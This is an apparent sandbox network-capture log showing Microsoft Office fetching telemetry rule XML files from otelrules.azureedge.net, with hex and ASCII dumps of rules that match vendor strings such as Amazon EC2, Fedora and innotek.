2024-11-21 06:10:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061018Z-178bfbc474bxkclvhC1NYC69g4000000012g000000003kwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:18 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061018Z-178bfbc474bkvpdnhC1NYCuu2w000000018000000000074g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:18 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061018Z-178bfbc474b7cbwqhC1NYC8z4n00000000y000000000dxu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 71c2edc3-001e-0082-0fa6-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061019Z-r1d97b99577lxltfhC1TEByw2s00000009z000000000b1d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061020Z-178bfbc474bw8bwphC1NYC38b400000000xg000000007aew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061020Z-178bfbc474bh5zbqhC1NYCkdug00000000y000000000gm65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061021Z-178bfbc474bwlrhlhC1NYCy3kg000000012g00000000881a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061021Z-178bfbc474b9xljthC1NYCtw9400000000vg00000000u746 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:21 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061021Z-1777c6cb754gvvgfhC1TEBz4rg0000000arg00000000c67a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061022Z-r1d97b99577kk29chC1TEBemmg0000000a1g000000005rw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061023Z-178bfbc474bvjk8shC1NYC83ns00000000wg00000000b2v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
